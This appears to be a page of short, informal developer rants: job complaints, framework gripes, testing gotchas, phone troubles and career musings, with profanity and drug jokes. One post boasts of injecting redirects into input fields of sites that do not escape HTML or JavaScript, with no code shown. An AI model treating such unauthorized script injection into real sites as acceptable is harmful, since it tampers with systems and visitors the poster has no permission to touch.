If you've give me an unclear and rediculously large workflow to implement with a confusing built in house library, dont demand me to TDD it. TDD works well when you know what it is your going to be doing. I'll slip and slide through this implementation and then come back for testing.
-
Is there any modals for angular 2?? The ng2-bs4-modal gives unexpected token error. I swear after this project I am never using angular. Worst framework ever.
React Js all the way.2 -
So I just spent all morning struggling setting up a project and getting it to run. My colleague sent me a screenshot of the documentation wiki, but didn't give the link.
*4 hours later looks at email for the Nth time*
Wait he did... that's not a wiki, that's Readme.md... this is in the repo link right above it!
I didn't need to checkout the repo so didn't open it... -
Just because I know Laravel, Django, Angular2 and React two companies are offering me double the salary I am getting now. But I love my current work place and I might get the amount here too but maybe after six or seven months. I love it because there are better developers here than me and I am learning a lot. Is my decision to stay ok? What would have you done?(btw I am staying anyway)4
-
Switched to this new job few months ago. They don't pay on time and behave badly. I want to switch. I am so frustrated. I can't even concentrate on my work.1
-
Hey, listen. If the first thing you have to say to me in the morning is nothing but a whining story of what "terrible" stuff happend again.
SHUT THE FUCK UP 'CAUSE I CARE AS MUCH AS I CAN SEE TWO STUPID ASS-TO-MOUTH FUCKING ALIENS BEYOND THE BORDERS OF THE FUCKING VISIBLE UNIVERSE!2 -
My phone got stuck in funky restart boot loop yesterday. The first 2 restarts was odd but after 3 cycles, I started panicking. Went on my PC, googled for all kinds of button combinations of power button, volume button, back button, and home button to get into fastboot, recovery and safe mode to see if I can clear stuff or at least get backup of my stuff. I also tried taking the battery out. Nothing works, except when I factory reset.
Everything was new again and as it booted up, I have to remember to change my authentication keys in LastPass, my private ssh key in Krypt. But fortunately, Google remembered all my apps and suggested if I wanted to install them again since it recognized my phone was an old phone. Thanks for tracking me Google. And now since its a reset, everything is clean, no cache, cookie, and some of my music files are all gone. Well at least its fast like before.2 -
When you get to your projects and then you go to bed pretty late, just to realize how many hours of sleep you'll get.. :/
-
You know your private project gets bigger than expected, when you ditch any local stores with already created logic and head over to SQL starting to design the database.
Guess this will be a longer journey than I anticipated...3 -
So... I just got to the next fase where I'm being asked to do a technical test. What they ask is for me to develop an Android App with 4 different tabs:
- First tab I need to receive data from a github url, parse it and show it on a recyclerview, save it on a database, and be able to search it.
- Second tab has to show 50 elements in a recyclerview, with a header that has to fill the entire screen and when the user scrolls down, the image has to fix to the top of the screen, and never go back when you scroll up.
and two more exercises with variations but almost same difficulty.
..... to deliver at 10 a.m at the 26th of October.
......It was 07:00 p.m when I got the email
FUCK MY LIFEundefined i'm so fucked fml always gonna let me down never gonna get this job never gonna run around and change jobs -
When you complain to a teacher about the lack of challenge in another class and he tells you he's gonna make you build a sudoku solver.
I'm getting quite bored from doing the mini c++ assignments and was talking about it to another teacher when he explained he'd got a background in AI and algos so he told me he'd teach me some more interesting stuff :D -
My fellow devs, appreciate what you have right now, even if it doesn't seem that great. I've recently switched majors from Bioinformatics to Medicine and I wouldn't say I regret it, but I do certainly doubt this decision sometimes. While studying Bioinformatics, I was always really interested in the biological part, often wanting to learn more about medical topics and such, thinking if I did switch, I could always keep programming as a hobby. Now I did switch and I miss being in a professional CS field so much. Medicine is great, but the people who study are mentally completely different from people that code. I still code small projects on the side, but don't really have anyone to talk to about them and I'm even starting to regret not paying more attention in linear algebra. I miss linear algebra, think about how ridiculous that is haha. Anyways, if you are looking forward to a major change in your life, it might not be all that you think it will be. So look at your current situation, it might be what you wanted all along.
Thanks for listening.
.
.
.
Also it is incredible, how technologically incompetent most medical students are lol6 -
My phone is fucking hot.
I mean, nearly hand-burning hot.
Google services seem to be the cause, but disabling it... doesn't cool down the shit phone at all. Destroys a 1 amp charger. Tried uninstalling it and updating it again... nope!
Been doing this since this morning, no updates yesterday or anything - weird. It started when Inbox would keep crashing, even after a restart.
Time to change phone?8 -
Am I the only one who procrastinates on Github looking at stuff you like? Or how do you procrastinate?5
-
Though I started late and I'm not very self confident on my skills:
All those moments I was able to see issues or solutions where no one else did...1 -
I would have needed to smoke enough crack to think that learning a new language was a good idea and then even more to start. As soon as I hit having to learn things I move straight onto black tar heroin.2
-
Should I be even be testing if no one cares.
I keep asking Devs regarding the functionalities of their system for testing and then, realize it's already on Prod even before I test in beta or enable to test in beta.
Do I exist!!!
Now, for the nth time, I have started to test when things are almost there or already there in Prod.
I should keep myself in adrenaline mode always on from now on.
Need to do something worthy.
The worst way to start a new job.2 -
I'm waiting for IoT come wide, just because I want goddamn widget which shows if the closest to office toilet is free3
-
Why is my test not failing? The actual and the expected json is completely different? What the fuck!?!
It says:
static::assertJson($expected, $actual);
right there.
Oh wait.
Nevermind.
`static::assertJson` only checks for any VALID json string that I always provided in with my own expectation m)
Use `assertJsonStringEqualsJsonString` instead.
What.
Who needs meaningful defaults.
(I would claim that `assertJson` should be defaulft for string equalness, and assertValidJson should be for any Json validation. But you are free to disagree.)4 -
Git blame falls into one of 2 categories, that one guy in the office that means it's probably broken or anyone else and you probably don't understand.
If you've never experienced the former, I've got some bad news for you... -
FOMO strikes again.... Bought stocks over the last few weeks... that are now plunging..
Maybe I should've just bought Amazon again., Or maybe GOOGL.. at least they can't go bankrupt... But Alphabet feels so boring now....22 -
😤 So I just got a flat tire at night and have incomplete set of tools to change a tire. Good thing my father helped me. It was tiring and gruesome. I suspected someone intentionally did it in the parking lot beside the mall.😡
I'll buy tomorrow a crocodile jack and complete set of tools. Also, I will practice more on changing tires because my father did not teach me and I just learned through self study. But self study isn't enough, gotta practice some more. I hope you will get some lesson to my mistakes. -
I like to teach sites that don't escape HTML/js in input fields a lesson, and put in a redirect. Where would you redirect them?
I tend to go SFW, like redirecting to a competitor or the NSA. -
"Ok. I need to gather a bit more information to pinpoint the cause. When you say it is not working, how precisely is it not working? Does the program not open at all? If it does open, is there a specific action that you can do to reliably cause it to fail? Is it not working on only one computer, or is it failing on all computers?"
"When you click the icon it say to call support"1 -
If a project's structure is shit, well of course, let's continue using it because "it is known". Doing it any other way "will add complexity".
That I wasted three days making my working code adhere to the clusterfuck of a structure, nevermind that. Let's continue. And yes, colleagues do agree that the structure is shit, though let's improve it ... later.
Or in other words: Suck it up, we always have done it this way. Fuck you and your ill-advised attempts of trying to improve it. -
Just to clarify my previous rant:
In this case, refactoring meant changing class, method and variable names -
That moment you're helping out a colleague with his ticket and stuff isn't working and you ask him.
Hey you do reset your cache right?
On which he replies yes of course I do.
10 minutes later you finally walk over to him and you see his browser open without Dev tools......... -
I am shifted to Django for the new project from Laravel. I am shipping features so quick my boss thinks I was slacking off earlier. #django_for_life #python1
-
When you have 5 hours on a task, struggle for the first hour procrastinating , second hour trying to look into the problem ,then convincing yourself you cannot work until this mess of a file is sorted out, spends another hour restructuring the whole file , adding comments and moving related logic together.
Great 2 hours to do a 5 hour job -
Tip: when doing transactions, don't pay as cash even if they tell you it is a requirement. Tell them you will pay via cheque or via bank transfer with a contract first with a seal from an attorney. You must have a valid copy first of the contract before doing payments. Also, get a photo of 2 valid IDs the person you are doing transactions. They require you personal infos and IDs? Require them also that.
#noContractFirstNoPayment1 -
While developing whatever website that uses Boostrap, my boss always says:
"PLEASE JUST USE BOOTSTRAP CLASSES to make it easier for everyone else to actually operate on that after you're done"
I'm now working on a project started by him and OMG the mess.
The only bootstrap classes he's using are col-* and text-*, the rest is all custom classes like nopad, which is the equivalent of p-0 m-0.
I mean, I might get you use less bytes writing nopad, but be consistent with what you say8 -
Picked up the latest version of Test Driven Development work Python. Haven't done much test driven development so time to change that .
-
Why is there no legit mysql connector for python 3.5.2? Thought about upgrading to the latest from 2.7.12.5
-
I am in a slump. I keep writing spaghetti code. Is there any platform where I can practice Object Oriented principles?1
-
Fixing and extending some old code, cursing the fool programmer... then version control blames yourself.
-
The moment, when you wait for the clash of code at codingame to start, while surfing on the web......
"Oh it has already started.."
"Oh fuck! Its fastest code..."
😩 -
Javascript is my main tool at work right now, Typescript to be precise. It never ceases to amaze me, I guess as most of you.
What I've encountered recently still doesn't make sense to me but it seemingly works:
function a(){
someString && someFunction()
// other stuff ...
}
someString can be a string or undefined, someFunction can be a function or undefined.
How is that valid Javascript, without an assignment? Haven't found any explanation yet.23 -
Seems everytime I find an open source module that comes close to needing what I need to do and I use it as a base to extend off of, in end I end up completely rewriting it and spend a lot more time than I would have writing from scratch.
Need to get out of mindset of trying to find easy ways of doing stuff and just hunker down from beginning and write what needs to be written. -
Is it common to freak out frustrated to the core when you fuck up a project or dependency you've been working on for with full dedication, leading to question your decision of selecting the field, your achievements yet, the whole point of existence. Then suddenly fix it after two hours of pulling hair out and looking back feeling stupid?
This episode has repeated over and over recently. -
Bought a Chromecast audio so I can get sound in my bedroom instead of blasting it from the living room where my computer is (I put music from my PC on timer when I go to sleep). Since I still use Winamp 2 had to install an app to send my Windows audio to Chromecast. It works. Already programmed a remote from my phone to turn off the lights, monitor and set the timer... Now I'm too lazy to program a remote for Winamp which I just know I'm gonna regret not doing at some point...
-
I get too excited, make a plan for future-proof infrastructure, initialize project, code a lot of it, then it gets too cumbersome and impossible for single dev because it is future proof, I lose my interest and then most of the time the project gets even removed on Github eventually after sometime
-
My jobs requires me to be at office 6 days a week but I am learning a lot. But I am stressed out and on the edge. One day off is not working out for me and they won't change their policy. Is there anyone else who is in a same situation like me? How are you handling it? Should I be part of this company anymore? Because sometimes I feel like quitting.
-
Coming from jQuery I am getting brainf--ed when trying on Angular 2. Am I dumb or what? Frustrating but I kinda liking Angular 2. Any good tutorial suggestions?2
-
Today you have the privilege of experiencing a rare look inside one of my servers: https://youtu.be/JcSPnsX-wAA
-
Tell me of this seems right: We used to operate (before I started) in a the user is always right way, if a user wanted a button to wipe his/her arse they got it.
I don't understand how a software developer can operate in this way (or am I missing something?) the users are all staff at the school3 -
Me: Oh yes this is easy, i will fix it in 5 minutes..
*Deploys the solution to debug it*
*waits 20 minutes....*
(the message says "installation is in progress")
Just fuck you SharePoint Online.1 -
Why isn't it possible to do conditional increment in Django framework templates? And also you can't even update a value of a variable in templates. Wtf!!!! I can't believe a fully fledged framework is missing that.3
-
I need urgent answer as quora is being weird like always. Ok here we go. I have a project idea but its really huge in size. Lots of features.
My question is. I recently learned Angular 2 but I know jquery well. Which one should I choose for the frontend? Please give your opinions. I need your expert advice.8